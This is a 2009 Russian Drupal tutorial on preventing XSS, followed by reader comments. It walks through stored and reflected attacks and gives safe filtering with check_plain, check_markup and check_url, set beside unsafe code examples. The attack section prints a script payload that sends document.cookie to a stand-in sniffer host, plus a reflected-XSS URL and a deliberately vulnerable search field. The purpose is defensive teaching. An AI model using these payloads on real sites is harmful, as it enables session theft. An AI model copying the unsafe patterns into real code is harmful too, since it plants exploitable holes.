Безопасный код: Работа с пользовательским вводом

Главные вкладки

Аватар пользователя neochief neochief 2 апреля 2009 в 18:50

Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.

Некоторые сценарии XSS атак

Устойчивая атака

  • Вова создает частицу контента на сайте Пети.
  • Когда Маша просматривает этот контент, Вовин XSS ворует Машины куки.
  • Теперь Вова может пробраться на сайт, используя Машину сессию.
  • Чем более людей увидит этот контент, тем более успешной можно считать атаку. Максимум достигается путем создания противоречивых холиварных тем на сайте и т.д.

Вот вам простейший пример как именно происходит воровство куков и их использование.

  • На страницу вставляется код <scrіpt>іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie;</scrіpt>.
  • На другом конце скрипта стоит логгер запросов. Злоумышленник выбирает из этого лога идентификатор сессии, и создает свою куку, аналогичную куке жертвы.
  • Теперь злоумышленник просто может зайти браузером на сайт, причем уже влогиненным в аккаунт пользователя-жертвы (кука-то жертвы).

И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.

Неустойчивая атака

  • Юля использует сайт, написанный Ахмедом. Ахмед предоставляет ей возможность заходить на сайт, используя логин/пароль и держать там личные данные.
  • Вова обыскивает сайт Ахмеда и находит XSS уязвимость.
  • Вова формирует специальную ссылку и отправляет ее Юле по аське.
  • Юля, находясь залогиненной на сайте, переходит по Вовиной ссылке.
  • Запускается XSS, завязанный в ссылке страницы. (Здесь уже все зависит от криворукости Ахмеда и мастерства Вовы. Это может быть использование связанной CSRF уязвимости — Юля, сама того не зная, может отправить пачку спама, удалить весь контент на сайте и т.д., так и более приземленное — кража секретной информации, либо куков.

Что означает XSS, завязанный в ссылке? Очень распространенный пример — форма поиска, с таким кодом
<input type="text" value="<?php print($_GET['srch']); ?>">.

Теперь, если в адресной строке написать http://site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.srс="http://snifsite/s.php" +document.cookie;</scrіpt>, мы получим куки каждой жертвы, посетившей этот URL.

Как обезопасить код от XSS?

Ответ прост — фильтровать вывод на страницу.

Методы фильтрации в Друпале

Золотое правило работы с данными — хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.

Весь пользовательский ввод можно разделить на два типа:

  1. Текст без разметки (plain text)

    Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain(), которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.

    Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию:

    • t(): В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:
      • !variable — вставится без изменений
      • variable — пройдет через check_plain().
      • %variable — пройдет через theme('placeholder').
    • l(): Текст ссылки всегда проходит через check_plain(), кроме случаев, когда явно не выставлен ее параметр $html.
    • Элементы меню и «хлебных крошек»: Заголовки автоматически фильтруются.
    • theme('placeholder', $variable): (в реализации по-умолчанию) входящие параметры фильтруется.
    • Описания блоков.
    • Имена пользователей, выводимые через theme('username') (в реализации по-умолчанию).
    • Параметры Form API #default_value и #options (только когда #type == 'select').

    Есть места, в которых никогда не надо забывать о фильтрации:

    • Заголовки страниц, установленных через drupal_set_title(). Заголовки в теле страницы не фильтруются автоматом, чтобы у пользователя имелась возможность использовать там такие теги как <em>. Это не касается заголовка в теге <title>, так как оттуда все теги вырезаются всегда. Примечание: Ситуация изменилась в Drupal 7. Теперь, фильтрация будет осуществляться по-умолчанию, а если необходимо подать в заголовке HTML, нужно будет указать соответствующий параметр в функции drupal_set_title().
      Пример:
      <?phpdrupal_set_title($node->title); // Опасно
      drupal_set_title(check_plain($node->title));  // Безопасно?>
    • Заголовки блоков, поданные через hook_block(). Та же причина, что и с заголовками страниц.
    • Сообщения системного лога (watchdog):
      Пример:
      <?php//Drupal 5:
      watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS
      watchdog('content', t("Deleted %title", array('%title' => $node->title))); // или @

      //Drupal 6 (The message and variables are passed through t() by the watchdog function):
      watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS
      watchdog('content', "Deleted %title", array('%title' => $node->title)); // или @?>
    • Параметры Form API #description и #title:
      Примеры:
      <?php$form['bad'] = array(
      '#type' => 'textfield',
      '#default_value' => check_plain($u_supplied),  // плохо: фильтруется дважды
      '#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS
      );

      $form['good'] = array(
      '#type' => 'textfield',
      '#default_value' => $u_supplied,
      '#description' => t("Old data: data", array('data' => $u_supplied)),
      );?>
    • Параметры Form API #options когда #type равен checkboxes или radios:
      Примеры:
      <?php$form['bad'] = array(
        '#type' => 'checkboxes',
        '#options' => array($u_supplied0, $u_supplied1),
      );

      $form['good'] = array(
        '#type' => 'checkboxes',
        '#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)),
      );?>
    • Параметры Form API #value, если #type равен markup (помните, что markup — это значение по-умолчанию для #type).
      Примеры:
      <?php$form['unsafe'] = array('#value' => $user->name); //XSS
      $form['safe'] = array('#value' => check_plain($user->name));
      // или
      $form['safe'] = array('#value' => theme('username', $user));?>
  2. Текст с разметкой

    Размеченный текст нужно фильтровать с помощью check_markup(). Эта функция принимает на вход, кроме самого текста, формат ввода, который содержит правила фильтрации. Поэтому, при формировании форм для текста с разметкой, имеет смысл вводить рядом с многострочными полями виджет для выбора формата ввода(filter_form()).

    Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через check_markup(), должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр в check_markup(). Но вы должны всегда проверять эти права с помощью filter_access() при отправке самой формы с этим контентом.

  3. URL'ы

    • Основная часть урла в функциях l(), url(), request_uri() уже фильтрируется, но вам нужно самостоятельно позаботится о фильтрации GET параметров и якорного фрагмента. Это нужно затем, чтобы случайная или умышленная подача символа # в GET параметрах, не испортила весь урл. Используйте для фильтрации функцию urlencode().
      Пример:
      <?php// Плохо
      l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); // не фильтруются параметры и фрагмент
      l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); // основной путь ссылки не нужно фильтровать

      // Хорошо
      l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));?>
    • Когда выводите урл на страницу, пропускайте его через check_url(), который вызывает не только check_plain(), но и проверку правильности протокола урла.
      Пример:
      <?php// Плохо
      print '<a href="/$url">';
      print '<a href="/'. check_plain($url) .'">';

      // Хорошо
      print '<a href="/'. check_url($url) .'">';?>

Остальные статьи цикла «Безопасный код»

Комментарии

Аватар пользователя Demimurych Demimurych 2 апреля 2009 в 23:06

Особенно нечего добавить. Качественно все описано.
Разве что в качестве домашнего задания после прочтения ознакомиться с таким функциями как
filter_xss
mime_header_encode
filter_xss_admin

Немного лирики:
В отличии от многих других популярных CMS в друпале ОЧЕНЬ хорошая система борьбы с XSS.
О чем свидетельствует хотя бы тот факт, что ядро и идущие с ним модули имеют крайне ничтожный список подобного рода уязвимостей.

Аватар пользователя vadbars@drupal.org vadbars@drupal.org 4 апреля 2009 в 13:26

Александр, возможна ли автоматизированная проверка кода модулей на соответствие описанным вами правилам безопасности?

Если да, насколько это трудно сделать? Может быть, кто-то возьмется за написание такого скрипта? Или уже что-то существует?

Код ядра Drupal достаточно вылизан на предмет безопасности, чего не скажешь про сторонние модули. Основные модули, конечно, периодически смотрит Security team, но не все же.
Если бы сделать скрипт (или он-лайн сервис), через который можно было бы прогнать новый модуль перед установкой - было бы здорово.

Аватар пользователя neochief neochief 4 апреля 2009 в 14:05

Ох, даже не знаю. Вероятней всего, эффективный скрипт написать невозможно. Чтобы он работал как надо, он должен понимать PHP, а не просто парсить.

Аватар пользователя vadbars@drupal.org vadbars@drupal.org 4 апреля 2009 в 14:25

Жаль, жаль... Хотя бы помечал "подозрительные" фрагменты.

Есть ведь модуль Coder. Сам не пользовал, но он вроде как отлавливает "некошерные" (не соотвествующие стандартам Drupal) куски кода? Или нет?

Аватар пользователя Demimurych Demimurych 4 апреля 2009 в 18:27

"<a href="mailto:vadbars@drupal.org">vadbars@drupal.org</a>" wrote:
Жаль, жаль... Хотя бы помечал "подозрительные" фрагменты.

Такие системы есть и успешно используются.

Я правда не видел их привязанными именно к функционалу ядра друпала. Но учитывая их модульность, если задаться целью то достаточно просто такой модуль сделать.

Аватар пользователя andypost@drupal.org andypost@drupal.org 5 апреля 2009 в 18:14

"<a href="mailto:vadbars@drupal.org">vadbars@drupal.org</a>" wrote:
Есть ведь модуль Coder. Сам не пользовал, но он вроде как отлавливает "некошерные" (не соотвествующие стандартам Drupal) куски кода? Или нет?

Отлавливает только на уровне определения функций и стиля кода

Аватар пользователя iT iT 6 апреля 2009 в 18:52

Благодарю.

А можно как-то отдельно пояснить в связи с вышенаписанным:
куда пристально посмотреть в своем коде?
что поправить в первую очередь?
Это актуально только для самописных и непроверенных модулей или же касается каждого?

"neochief" wrote:
...то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт...

Если не сложно, подскажите самый простой (из неочевидных) способ избежать "хождения под рутом"...

Аватар пользователя neochief neochief 6 апреля 2009 в 19:50

Проблемы безопасности касаются всех модулей и ядра. Чем модуль более популярный, тем меньше вероятность появления там таких проблем. Что касается остальных ваших вопросов — внимательно перечитайте каждый пункт. Они все одинаково важны.

PS. Когда-то, очень давно, о зеленой установке уже писалось Максом Кириленко.